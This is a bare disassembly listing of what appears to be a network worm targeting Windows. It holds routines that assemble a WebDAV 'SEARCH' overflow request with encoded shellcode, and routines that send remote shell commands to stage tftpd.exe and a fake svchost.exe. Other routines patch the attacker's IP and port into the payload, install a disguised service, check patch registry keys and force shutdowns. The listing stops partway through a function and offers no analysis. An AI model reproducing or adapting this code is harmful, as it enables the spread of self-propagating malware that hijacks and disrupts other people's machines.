		push	ebp
		push	esi
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+10h+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	edi
		call	dword_404168	; send
		test	eax, eax
		jnz	short loc_401B3C
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401B3C:				; CODE XREF: sub_401B10+25j
		mov	esi, [esp+10h+arg_8]
		mov	ebx, dword_40416C
		push	0
		push	3FFh
		push	esi
		push	edi
		call	ebx ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401B7E
		mov	ebp, dword_404100


loc_401B5C:				; CODE XREF: sub_401B10+6Cj
		push	offset dword_4061BC
		push	esi
		mov	byte ptr [eax+esi], 0
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401B85
		push	eax
		push	3FFh
		push	esi
		push	edi
		call	ebx ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_401B5C


loc_401B7E:				; CODE XREF: sub_401B10+44j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_401B85:				; CODE XREF: sub_401B10+5Dj
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		retn
sub_401B10	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401B90	proc near		; CODE XREF: sub_401C80+162p
					; sub_401C80+192p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	edx, [esp+4+arg_4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	esi, [esp+14h+arg_0]
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	edx
		push	esi
		call	dword_404168	; send
		test	eax, eax
		jz	loc_401C64
		lea	eax, [esp+14h+var_4]
		push	4
		push	eax
		push	1006h
		push	0FFFFh
		push	esi
		mov	[esp+28h+var_4], 15F90h
		call	dword_404164	; setsockopt
		mov	ebx, dword_4040C0
		call	ebx ; dword_4040C0
		mov	edi, [esp+14h+arg_8]
		push	0
		push	1FFh
		push	edi
		push	esi
		mov	[esp+24h+arg_4], eax
		call	dword_40416C	; recv
		mov	esi, eax
		call	ebx ; dword_4040C0
		mov	ecx, [esp+14h+arg_4]
		mov	ebp, eax
		sub	ebp, ecx
		cmp	esi, 0FFFFFFFFh
		jz	short loc_401C64


loc_401C0C:				; CODE XREF: sub_401B90+D2j
		mov	byte ptr [esi+edi], 0
		mov	esi, dword_404100
		push	offset aTransferSucces ; "Transfer successful"
		push	edi
		call	esi ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401C6C
		push	offset aTimeoutOccurre ; "Timeout occurred"
		push	edi
		call	esi ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401C64
		cmp	ebp, 15F2Ch
		ja	short loc_401C64
		call	ebx ; dword_4040C0
		mov	ecx, [esp+14h+arg_0]
		push	0
		push	1FFh
		push	edi
		push	ecx
		mov	[esp+24h+arg_4], eax
		call	dword_40416C	; recv
		mov	esi, eax
		call	ebx ; dword_4040C0
		sub	eax, [esp+14h+arg_4]
		add	ebp, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_401C0C


loc_401C64:				; CODE XREF: sub_401B90+26j
					; sub_401B90+7Aj ...
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_401C6C:				; CODE XREF: sub_401B90+93j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		pop	ecx
		retn
sub_401B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401C80	proc near		; DATA XREF: sub_401990+116o

var_404		= dword	ptr -404h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
arg_0		= dword	ptr  4

		sub	esp, 404h
		mov	eax, [esp+404h+arg_0]
		push	ebp
		push	esi
		push	edi
		mov	esi, [eax]
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [esp+410h+var_3FF]
		mov	[esp+410h+var_400], 0
		push	4
		rep stosd
		lea	ecx, [esp+414h+var_404]
		mov	[esp+414h+var_404], 1388h
		stosw
		push	ecx
		push	1006h
		push	0FFFFh
		push	esi
		stosb
		call	dword_404164	; setsockopt
		mov	edi, dword_40416C
		push	0
		lea	edx, [esp+414h+var_400]
		push	3FFh
		push	edx
		push	esi
		call	edi ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E54
		test	eax, eax
		jz	loc_401E54
		mov	ebp, dword_404100
		lea	eax, [esp+410h+var_400]
		push	offset aMicrosoftWindo ; "Microsoft Windows"
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jz	loc_401E54
		lea	ecx, [esp+410h+var_400]
		push	offset dword_4061BC
		push	ecx
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401D4D


loc_401D1D:				; CODE XREF: sub_401C80+CBj
		push	0
		lea	edx, [esp+414h+var_400]
		push	3FFh
		push	edx
		push	esi
		call	edi ; dword_40416C
		cmp	eax, 0FFFFFFFFh
		jz	loc_401E54
		mov	[esp+eax+410h+var_400],	0
		lea	eax, [esp+410h+var_400]
		push	offset dword_4061BC
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jz	short loc_401D1D


loc_401D4D:				; CODE XREF: sub_401C80+9Bj
		lea	ecx, [esp+410h+var_400]
		push	ecx
		push	offset aDirWinsDllhost ; "dir wins\\dllhost.exe\n\r"
		push	esi
		call	sub_401B10
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E54
		lea	edx, [esp+410h+var_400]
		push	offset aDllhost_exe ; "DLLHOST.EXE"
		push	edx
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	loc_401E54
		lea	eax, [esp+410h+var_400]
		push	offset aDllhost_exe_0 ;	"dllhost.exe"
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	loc_401E54
		lea	ecx, [esp+410h+var_400]
		push	ecx
		push	offset aDirDllcacheTft ; "dir dllcache\\tftpd.exe\n\r"
		push	esi
		call	sub_401B10
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401E54
		lea	edx, [esp+410h+var_400]
		push	offset aTftpd_exe_0 ; "tftpd.exe"
		push	edx
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401DF0
		lea	eax, [esp+410h+var_400]
		push	offset aTftpd_exe ; "TFTPD.EXE"
		push	eax
		call	ebp ; dword_404100
		add	esp, 8
		test	eax, eax
		jnz	short loc_401DF0
		lea	ecx, [esp+410h+var_400]
		push	ecx
		push	offset dword_407628
		push	esi
		call	sub_401B90
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E54
		jmp	short loc_401E07
; ---------------------------------------------------------------------------


loc_401DF0:				; CODE XREF: sub_401C80+142j
					; sub_401C80+155j
		lea	edx, [esp+410h+var_400]
		push	edx
		push	offset aCopyDllcacheTf ; "copy dllcache\\tftpd.exe wins\\svchost.ex"...
		push	esi
		call	sub_401B10
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E54


loc_401E07:				; CODE XREF: sub_401C80+16Ej
		lea	eax, [esp+410h+var_400]
		push	eax
		push	offset dword_4075A8
		push	esi
		call	sub_401B90
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E54
		mov	ebp, dword_4040C8
		push	1F4h
		call	ebp ; dword_4040C8
		mov	edi, offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset aWinsDllhost_ex ; "wins\\DLLHOST.EXE\n\r"
		push	esi
		call	dword_404168	; send
		test	eax, eax
		jz	short loc_401E54
		push	3E8h
		call	ebp ; dword_4040C8


loc_401E54:				; CODE XREF: sub_401C80+5Fj
					; sub_401C80+67j ...
		push	esi
		call	dword_404170	; closesocket
		pop	edi
		pop	esi
		mov	eax, [esp+408h+arg_0]
		pop	ebp
		test	eax, eax
		jz	short loc_401E72
		push	eax
		call	sub_402FC6
		add	esp, 4


loc_401E72:				; CODE XREF: sub_401C80+1E7j
		mov	eax, 1
		add	esp, 404h
		retn	4
sub_401C80	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E80	proc near		; CODE XREF: sub_401210:loc_401217p
					; sub_401210+17p
		push	offset aMicrosoft_com ;	"microsoft.com"
		call	dword_404160	; gethostbyname
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_401E80	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401EA0	proc near		; CODE XREF: sub_401210:loc_401230p

var_70		= dword	ptr -70h
var_64		= byte ptr -64h

		sub	esp, 74h
		lea	eax, [esp+74h+var_64]
		push	esi
		push	64h
		push	eax
		call	dword_404158	; gethostname
		cmp	eax, 0FFFFFFFFh
		jz	short loc_401F1D
		lea	ecx, [esp+78h+var_64]
		push	ecx
		call	dword_404160	; gethostbyname
		test	eax, eax
		jz	short loc_401F1D
		mov	edx, [eax+0Ch]
		mov	esi, [edx]
		test	esi, esi
		jz	short loc_401F1D
		movsx	ecx, word ptr [eax+0Ah]
		mov	eax, ecx
		push	edi
		lea	edi, [esp+7Ch+var_70]
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		mov	ecx, [esp+7Ch+var_70]
		push	ecx
		call	dword_40415C	; inet_ntoa
		mov	edi, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, 1
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset dword_407478
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		add	esp, 74h
		retn
; ---------------------------------------------------------------------------


loc_401F1D:				; CODE XREF: sub_401EA0+14j
					; sub_401EA0+23j ...
		xor	eax, eax
		pop	esi
		add	esp, 74h
		retn
sub_401EA0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_401F30	proc near		; CODE XREF: sub_401280+A5p

var_50		= byte ptr -50h

		sub	esp, 50h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	esi
		push	edi
		mov	edi, offset aSearch ; "SEARCH /"
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ds:dword_4075A0
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, 41414141h
		and	ecx, 3
		rep movsb
		mov	edx, ds:dword_4075A0
		mov	ecx, 41h
		mov	dword_406424, 8
		mov	esi, offset aU5951U6858U759 ; "%u5951%u6858%u759f%u0018%u5951%u6858%u7"...
		lea	edi, [edx+8]
		rep stosd
		stosb
		mov	eax, dword_406424
		mov	edx, ds:dword_4075A0
		add	eax, 105h
		mov	ecx, 41414141h
		mov	dword_406424, eax
		add	eax, edx
		mov	[eax], ecx
		mov	[eax+4], ecx
		mov	eax, dword_406424
		mov	ecx, ds:dword_4075A0
		add	eax, 8
		mov	dword_406424, eax
		lea	edi, [eax+ecx]
		mov	ecx, 30h
		rep movsd
		movsb
		mov	eax, dword_406424
		mov	edx, ds:dword_4075A0
		add	eax, 0C0h
		mov	ecx, 31h
		mov	esi, offset aU5390U665eU66a ; "%u5390%u665e%u66ad%u993d%u7560%u56f8%u5"...
		mov	dword_406424, eax
		lea	edi, [eax+edx]
		rep movsd
		movsw
		movsb
		mov	eax, dword_406424
		mov	ecx, ds:dword_4075A0
		add	eax, 0C6h
		mov	esi, offset aFfilomidomfafd ; "ffilomidomfafdfgfhinhnlaljbeaaaaaalimmm"...
		mov	dword_406424, eax
		lea	edi, [eax+ecx]
		mov	ecx, 55h
		rep movsd
		movsb
		mov	edx, dword_406424
		mov	esi, ds:dword_4075A0
		add	edx, 154h
		mov	ecx, 3F52h
		mov	eax, 4E4E4E4Eh
		mov	dword_406424, edx
		lea	edi, [edx+esi]
		mov	esi, offset aHttp1_1Host127 ; "	HTTP/1.1\r\nHost: 127.0.0.1\r\nContent-Typ"...
		rep stosd
		stosw
		mov	eax, dword_406424
		mov	edx, ds:dword_4075A0
		mov	ecx, 14h
		lea	edi, [esp+58h+var_50]
		add	eax, 0FD4Ah
		rep movsd
		lea	edi, [eax+edx]
		mov	ecx, 14h
		lea	esi, [esp+58h+var_50]
		mov	dword_406424, eax
		rep movsd
		mov	eax, dword_406424
		mov	esi, offset loc_40597E
		add	eax, 4Fh
		mov	dword_406424, eax
		lea	ecx, [eax+0E7h]
		lea	edx, [eax+0ECh]
		mov	dword_40642C, ecx
		mov	ecx, ds:dword_4075A0
		mov	ds:dword_407470, edx
		lea	edi, [eax+ecx]
		mov	ecx, 5Dh
		rep movsd
		movsw
		mov	eax, dword_406424
		mov	esi, ds:dword_4075A0
		mov	cx, word_406238
		mov	dl, byte_40623A
		add	eax, 175h
		pop	edi
		mov	dword_406424, eax
		add	eax, esi
		pop	esi
		mov	[eax], cx
		mov	[eax+2], dl
		mov	eax, dword_406424
		add	eax, 2
		mov	dword_406424, eax
		add	esp, 50h
		retn
sub_401F30	endp


; =============== S U B	R O U T	I N E =======================================



sub_4020E0	proc near		; CODE XREF: sub_401210+57p
		mov	ax, word_405B68
		push	eax
		call	dword_404174	; ntohs
		mov	ecx, ds:dword_4075A0
		mov	edx, dword_40642C
		xor	eax, 9999h
		push	offset dword_407478
		mov	[edx+ecx], ax
		call	dword_404194	; inet_addr
		mov	ecx, ds:dword_4075A0
		mov	edx, ds:dword_407470
		xor	eax, 99999999h
		mov	[edx+ecx], eax
		retn
sub_4020E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402130	proc near		; CODE XREF: sub_401210+5Cp
		mov	ax, word_405B68
		push	eax
		call	dword_404174	; ntohs
		mov	ecx, dword_406428
		xor	eax, 9999h
		push	offset dword_407478
		mov	word ptr dword_406470[ecx], ax
		call	dword_404194	; inet_addr
		mov	edx, ds:dword_407474
		xor	eax, 99999999h
		mov	dword_406470[edx], eax
		retn
sub_402130	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402170	proc near		; CODE XREF: sub_401280+AAp
		push	esi
		mov	eax, dword_4057DC
		push	edi
		mov	ecx, 0D8h
		mov	esi, offset dword_40547C
		mov	edi, offset dword_406470
		rep movsd
		mov	ecx, dword_4057E4
		add	eax, 166h
		add	ecx, 166h
		mov	dword_4057DC, eax
		mov	dword_4057E4, ecx
		mov	dword_4067D8, ecx
		mov	ecx, dword_4057E8
		mov	dword_4067D0, eax
		mov	eax, dword_4057E0
		mov	dword_4067DC, ecx
		mov	ecx, 0B3h
		mov	esi, offset aFxnbfxfxnbfxfx ; "FXNBFXFXNBFXFXFXFX"
		mov	edi, offset dword_4067E0
		mov	edx, dword_405484
		mov	dword_40584C, 100139Dh
		mov	dword_4067D4, eax
		rep movsd
		mov	ecx, 0Fh
		mov	esi, offset aC1234561111111 ; "\\C$\\123456111111111111111.doc"
		mov	edi, offset dword_406AAC
		add	edx, 2C0h
		rep movsd
		mov	ecx, 0Ch
		mov	esi, offset dword_405AF4
		mov	edi, offset dword_406AE8
		mov	eax, 2C0h
		rep movsd
		mov	esi, dword_406480
		mov	ecx, dword_4064F4
		mov	edi, dword_406524
		mov	dword_406478, edx
		mov	edx, dword_4064F0
		add	esi, eax
		add	edx, eax
		add	ecx, eax
		mov	dword_406480, esi
		mov	esi, dword_406528
		mov	dword_4064F0, edx
		mov	edx, dword_406540
		mov	dword_4064F4, ecx
		mov	ecx, dword_4065FC
		add	edi, eax
		add	esi, eax
		mov	dword_406524, edi
		add	edx, eax
		add	ecx, eax
		mov	dword_406528, esi
		pop	edi
		mov	dword_406428, 5ADh
		mov	ds:dword_407474, 5B2h
		mov	dword_406420, 6A8h
		mov	dword_406540, edx
		mov	dword_4065FC, ecx
		pop	esi
		retn
sub_402170	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4022A0	proc near		; CODE XREF: sub_401780+1E8p
					; DATA XREF: sub_40B5BD+2Ew

var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_4		= dword	ptr  8

		sub	esp, 14h
		lea	eax, [esp+14h+var_14]
		push	eax
		push	28h
		call	dword_40409C	; GetCurrentProcess
		push	eax
		call	dword_404044	; OpenProcessToken
		lea	ecx, [esp+10h+var_8]
		push	ecx
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		push	0
		call	dword_404048	; LookupPrivilegeValueA
		mov	eax, [esp+10h+var_10]
		push	0
		push	0
		lea	edx, [esp+18h+var_C]
		push	0
		push	edx
		push	0
		push	eax
		mov	[esp+28h+var_C], 1
		mov	dword ptr [esp+28h], 2
		call	dword_404028	; AdjustTokenPrivileges
		mov	ecx, [esp+10h+arg_4]
		push	0


loc_4022F7:				; DATA XREF: sub_40B54Ew
					; sub_40B54E+29r
		or	ecx, 4
		push	ecx
		call	dword_404148	; ExitWindowsEx
		add	esp, 14h
		retn
sub_4022A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402310	proc near		; CODE XREF: sub_401780+8p

var_9C		= dword	ptr -9Ch
var_94		= dword	ptr -94h

		sub	esp, 9Ch
		call	dword_404094	; GetVersion
		and	eax, 0FFh
		lea	ecx, [esp+9Ch+var_9C]
		cmp	eax, 5
		push	ecx
		sbb	eax, eax
		and	al, 0F8h
		add	eax, 9Ch
		mov	[esp+0A0h+var_9C], eax
		call	dword_404098	; GetVersionExA
		mov	eax, [esp+9Ch+var_94]
		add	esp, 9Ch
		retn
sub_402310	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402350	proc near		; CODE XREF: sub_402390+Dp
					; sub_402390+21p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [esp+arg_0]
		push	eax
		push	1
		push	0
		push	ecx
		push	80000002h
		call	dword_40403C	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_40237E
		mov	edx, [esp+arg_0]
		push	edx
		call	dword_404040	; RegCloseKey
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_40237E:				; CODE XREF: sub_402350+1Bj
		xor	eax, eax
		retn
sub_402350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402390	proc near		; CODE XREF: sub_401780+1Dp
					; sub_401780+1DAp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jnz	short loc_4023AC
		push	offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Updates\\Windows	2000"...
		call	sub_402350
		add	esp, 4
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------


loc_4023AC:				; CODE XREF: sub_402390+6j
		push	offset aSoftwareMicr_0 ; "SOFTWARE\\Microsoft\\Updates\\Windows	XP\\S"...
		call	sub_402350
		add	esp, 4
		test	eax, eax
		jnz	short loc_4023CF
		push	offset aSoftwareMicr_1 ; "SOFTWARE\\Microsoft\\Updates\\Windows	XP\\S"...
		call	sub_402350
		add	esp, 4
		test	eax, eax
		jnz	short loc_4023CF
		retn
; ---------------------------------------------------------------------------


loc_4023CF:				; CODE XREF: sub_402390+2Bj
					; sub_402390+3Cj
		mov	eax, 1
		retn
sub_402390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4023E0	proc near		; CODE XREF: sub_4015E0+61p
					; sub_401660+5Cp

var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= byte ptr -108h
var_107		= byte ptr -107h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 110h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	ebp, eax
		test	ebp, ebp
		jnz	short loc_40240A
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 110h
		retn
; ---------------------------------------------------------------------------


loc_40240A:				; CODE XREF: sub_4023E0+1Dj
		mov	ecx, 41h
		xor	eax, eax
		lea	edi, [esp+120h+var_107]
		mov	[esp+120h+var_108], 0
		rep stosd
		mov	edi, [esp+120h+arg_8]
		lea	eax, [esp+120h+var_108]
		push	edi
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		push	offset aSWinsS	; "%s\\wins\\%s"
		push	eax
		call	dword_40411C	; sprintf
		push	offset aSvchost_exe ; "svchost.exe"
		push	edi
		mov	esi, 2
		call	dword_404140	; _stricmp
		add	esp, 18h
		test	eax, eax
		jnz	short loc_402456
		mov	esi, 3


loc_402456:				; CODE XREF: sub_4023E0+6Fj
		push	0
		mov	edx, [esp+124h+arg_4]
		push	0
		mov	eax, [esp+128h+arg_0]
		push	0
		push	0
		lea	ecx, [esp+130h+var_108]
		push	0
		push	ecx
		push	0
		push	esi
		push	110h
		push	0F01FFh
		push	edx
		push	eax
		push	ebp
		call	dword_404030	; CreateServiceA
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_4024A3
		push	ebp
		call	dword_404034	; CloseServiceHandle
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		add	esp, 110h
		retn
; ---------------------------------------------------------------------------


loc_4024A3:				; CODE XREF: sub_4023E0+ADj
		mov	ecx, [esp+120h+arg_C]
		push	0F01FFh
		push	ecx
		push	ebp
		mov	[esp+12Ch+var_110], offset aManagesNetwork ; "Manages network configuration by updati"...
		xor	esi, esi
		call	dword_404038	; OpenServiceA
		mov	edi, eax
		test	edi, edi
		jz	short loc_402507
		push	400h
		push	40h
		mov	[esp+128h+var_10C], esi
		call	dword_40408C	; LocalAlloc
		mov	esi, eax
		test	esi, esi
		jz	short loc_4024FC
		lea	edx, [esp+120h+var_10C]
		push	edx
		push	400h
		push	esi
		push	1
		push	edi
		call	dword_404004	; QueryServiceConfig2A
		test	eax, eax
		jz	short loc_4024FC
		mov	eax, [esi]
		mov	[esp+120h+var_110], eax


loc_4024FC:				; CODE XREF: sub_4023E0+FCj
					; sub_4023E0+114j
		push	edi
		mov	edi, dword_404034
		call	edi ; dword_404034
		jmp	short loc_40250D
; ---------------------------------------------------------------------------


loc_402507:				; CODE XREF: sub_4023E0+E5j
		mov	edi, dword_404034


loc_40250D:				; CODE XREF: sub_4023E0+125j
		lea	ecx, [esp+120h+var_110]
		push	ecx
		push	1
		push	ebx
		call	dword_404000	; ChangeServiceConfig2A
		test	esi, esi
		jz	short loc_402526
		push	esi
		call	dword_404090	; LocalFree


loc_402526:				; CODE XREF: sub_4023E0+13Dj
		push	ebx
		call	edi ; dword_404034
		push	ebp
		call	edi ; dword_404034
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 1
		pop	ebx
		add	esp, 110h
		retn
sub_4023E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402540	proc near		; CODE XREF: sub_401280+ECp
					; sub_401280+110p

var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= byte ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_114		= dword	ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 134h
		push	ebp
		push	edi
		push	0F003Fh
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
		mov	ebp, eax
		test	ebp, ebp
		mov	[esp+13Ch+var_134], ebp
		jnz	short loc_40256A
		pop	edi
		pop	ebp
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_40256A:				; CODE XREF: sub_402540+1Fj
		push	offset aCWindowsSystem ; "C:\\WINDOWS\\system32"
		lea	eax, [esp+140h+var_104]
		push	offset aDSWins	; "-d%s\\wins"
		push	eax
		mov	[esp+148h+var_130], 0
		call	dword_40411C	; sprintf
		mov	edx, [esp+148h+arg_0]
		add	esp, 0Ch
		lea	ecx, [esp+13Ch+var_104]
		push	0F01FFh
		push	edx
		push	ebp
		mov	[esp+148h+var_128], ecx
		call	dword_404038	; OpenServiceA
		mov	edi, eax
		test	edi, edi
		jnz	short loc_4025B5
		pop	edi
		pop	ebp
		add	esp, 134h
		retn
; ---------------------------------------------------------------------------


loc_4025B5:				; CODE XREF: sub_402540+6Aj
		push	ebx
		push	esi
		push	400h
		push	40h
		call	dword_40408C	; LocalAlloc
		mov	esi, dword_40401C
		mov	ebx, eax
		lea	eax, [esp+13Ch+var_118]
		mov	[esp+13Ch+var_124], ebx
		push	eax
		push	edi
		call	esi ; dword_40401C
		test	eax, eax
		jnz	short loc_4025E3
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_4025E3:				; CODE XREF: sub_402540+9Aj
		mov	eax, [esp+13Ch+var_114]
		cmp	eax, 4
		jz	loc_402709
		cmp	eax, 2
		jz	loc_402709
		lea	ecx, [esp+13Ch+var_11C]
		push	ecx
		push	400h
		push	ebx
		push	edi
		call	dword_404020	; QueryServiceConfigA
		test	eax, eax
		jnz	short loc_402616
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_402616:				; CODE XREF: sub_402540+CDj
		cmp	dword ptr [ebx+4], 4
		jnz	short loc_402642
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0
		push	0FFFFFFFFh
		push	3
		push	0FFFFFFFFh
		push	edi
		call	dword_404024	; ChangeServiceConfigA
		test	eax, eax
		jnz	short loc_402642
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_402642:				; CODE XREF: sub_402540+DAj
					; sub_402540+F9j
		lea	edx, [esp+13Ch+var_120]
		push	edx
		push	1
		push	edi
		call	dword_404008	; StartServiceA
		test	eax, eax
		jnz	short loc_40265B
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_40265B:				; CODE XREF: sub_402540+112j
		lea	eax, [esp+13Ch+var_118]
		push	eax
		push	edi
		call	esi ; dword_40401C
		test	eax, eax
		jnz	short loc_40266E
		xor	esi, esi
		jmp	loc_40270E
; ---------------------------------------------------------------------------


loc_40266E:				; CODE XREF: sub_402540+125j
		cmp	[esp+13Ch+var_114], 2
		jnz	loc_4026F9
		mov	ebp, dword_4040C8
		mov	ebx, dword_4040C0
		mov	esi, [esp+13Ch+var_11C]


loc_402689:				; CODE XREF: sub_402540+1AFj
		mov	eax, 0CCCCCCCDh
		mul	[esp+13Ch+var_100]
		shr	edx, 3
		cmp	edx, 3E8h
		jnb	short loc_4026A4
		mov	edx, 3E8h
		jmp	short loc_4026B1
; ---------------------------------------------------------------------------


loc_4026A4:				; CODE XREF: sub_402540+15Bj
		cmp	edx, 2710h
		jbe	short loc_4026B1
		mov	edx, 2710h


loc_4026B1:				; CODE XREF: sub_402540+162j
					; sub_402540+16Aj
		push	edx
		call	ebp ; dword_4040C8
		lea	ecx, [esp+13Ch+var_118]
		push	ecx
		push	edi
		call	dword_40401C	; QueryServiceStatus
		test	eax, eax
		jz	short loc_4026F1
		mov	edx, [esp+13Ch+var_128]
		mov	eax, [esp+13Ch+var_104]
		cmp	eax, edx
		jbe	short loc_4026DE
		call	ebx ; dword_4040C0
		mov	esi, eax
		mov	eax, [esp+13Ch+var_104]
		mov	[esp+13Ch+var_128], eax
		jmp	short loc_4026EA
; ---------------------------------------------------------------------------


loc_4026DE:				; CODE XREF: sub_402540+18Ej
		call	ebx ; dword_4040C0
		mov	ecx, [esp+13Ch+var_100]
		sub	eax, esi
		cmp	eax, ecx
		ja	short loc_4026F1


loc_4026EA:				; CODE XREF: sub_402540+19Cj
		cmp	[esp+13Ch+var_114], 2
		jz	short loc_402689


loc_4026F1:				; CODE XREF: sub_402540+182j
					; sub_402540+1A8j
		mov	ebp, [esp+13Ch+var_12C]
		mov	ebx, [esp+13Ch+var_124]


loc_4026F9:				; CODE XREF: sub_402540+133j
		mov	eax, [esp+13Ch+var_114]
		xor	ecx, ecx
		cmp	eax, 4
		setz	cl
		mov	esi, ecx
		jmp	short loc_40270E
; ---------------------------------------------------------------------------


loc_402709:				; CODE XREF: sub_402540+AAj
					; sub_402540+B3j
		mov	esi, 1


loc_40270E:				; CODE XREF: sub_402540+9Ej
					; sub_402540+D1j ...
		push	ebx
		call	dword_404090	; LocalFree
		push	edi
		mov	edi, dword_404034
		call	edi ; dword_404034
		push	ebp
		call	edi ; dword_404034
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	edi
		pop	ebp
		add	esp, 134h
		retn
sub_402540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_402730	proc near		; CODE XREF: sub_4011C0+1Fp

var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h

		sub	esp, 1Ch
		push	esi
		push	edi
		push	80000000h
		push	0
		push	0
		call	dword_40402C	; OpenSCManagerA
